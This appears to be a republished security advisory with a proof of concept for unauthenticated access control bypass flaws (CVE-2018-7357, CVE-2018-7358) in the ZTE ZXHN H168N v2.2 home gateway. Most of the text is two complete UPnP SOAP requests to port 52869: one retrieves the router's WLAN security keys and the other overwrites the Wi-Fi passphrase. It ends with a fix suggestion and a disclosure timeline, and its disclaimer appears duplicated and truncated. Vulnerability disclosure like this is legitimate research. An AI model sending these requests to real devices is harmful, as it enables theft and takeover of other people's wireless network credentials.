ZTE Home Gateway ZXHN H168N 2.2 Access Control Bypass

Details
Category: Vulnerabilities
Hits: 281
[*] POC: (CVE-2018-7357 and CVE-2018-7358)




Disclaimer: [This POC is for Educational Purposes , I would Not be


responsible for any misuse o [*] POC: (CVE-2018-7357 and CVE-2018-7358)




Disclaimer: [This POC is for Educational Purposes , I would Not be


responsible for any misuse of the information mentioned in this blog post]




[+] Unauthenticated




[+] Author: Usman Saeed (usman [at] xc0re.net)




[+] Protocol: UPnP




[+] Affected Harware/Software:




Model name: ZXHN H168N v2.2




Build Timestamp: 20171127193202




Software Version: V2.2.0_PK1.2T5




[+] Findings:




1. Unauthenticated access to WLAN password:




POST /control/igd/wlanc_1_1 HTTP/1.1


Host: <IP>:52869


User-Agent: {omitted}


Content-Length: 288


Connection: close


Content-Type: text/xml; charset="utf-8"


SOAPACTION: "urn:dslforum-org:service:WLANConfiguration:1#GetSecurityKeys" 1




<?xml version="1.0" encoding="utf-8"?>


<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:GetSecurityKeys xmlns:u="urn:dslforum-org:service:WLANConfiguration:1"></u:GetSecurityKeys></s:Body></s:Envelope>




2. Unauthenticated WLAN passphrase change:




POST /control/igd/wlanc_1_1 HTTP/1.1


Host: <IP>:52869


User-Agent: {omitted}


Content-Length: 496


Connection: close


Content-Type: text/xml; charset="utf-8"


SOAPACTION: "urn:dslforum-org:service:WLANConfiguration:1#SetSecurityKeys"




<?xml version="1.0" encoding="utf-8"?>


<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:SetSecurityKeys xmlns:u="urn:dslforum-org:service:WLANConfiguration:1"><NewWEPKey0>{omitted}</NewWEPKey0><NewWEPKey1>{omitted}</NewWEPKey1><NewWEPKey2>{omitted}</NewWEPKey2><NewWEPKey3>{omitted}</NewWEPKey3><NewPreSharedKey>{omitted}</NewPreSharedKey><NewKeyPassphrase>{omitted}</NewKeyPassphrase></u:SetSecurityKeys></s:Body></s:Envelope>




[*] Solution:




UPnP should not provide excessive services, and if the fix is not possible, then UPnP should be disabled on the affected devices.




[*] Note:




There are other services which should not be published over UPnP, which are not mentioned in this blog post, as the solution is the same.




[+] Responsible Disclosure:




Vulnerabilities identified - 20 August, 2018




Reported to ZTE - 28 August, 2018




ZTE official statement - 17 September 2018




ZTE patched the vulnerability - 12 November 2018




The operator pushed the update - 12 November 2018




CVE published - CVE- 2018-7357 and CVE-2018-7358




Public disclosure - 12 November 2018




Ref: http://support.zte.com.cn/support/news/LoopholeInfoDetail.aspx?newsId=1009522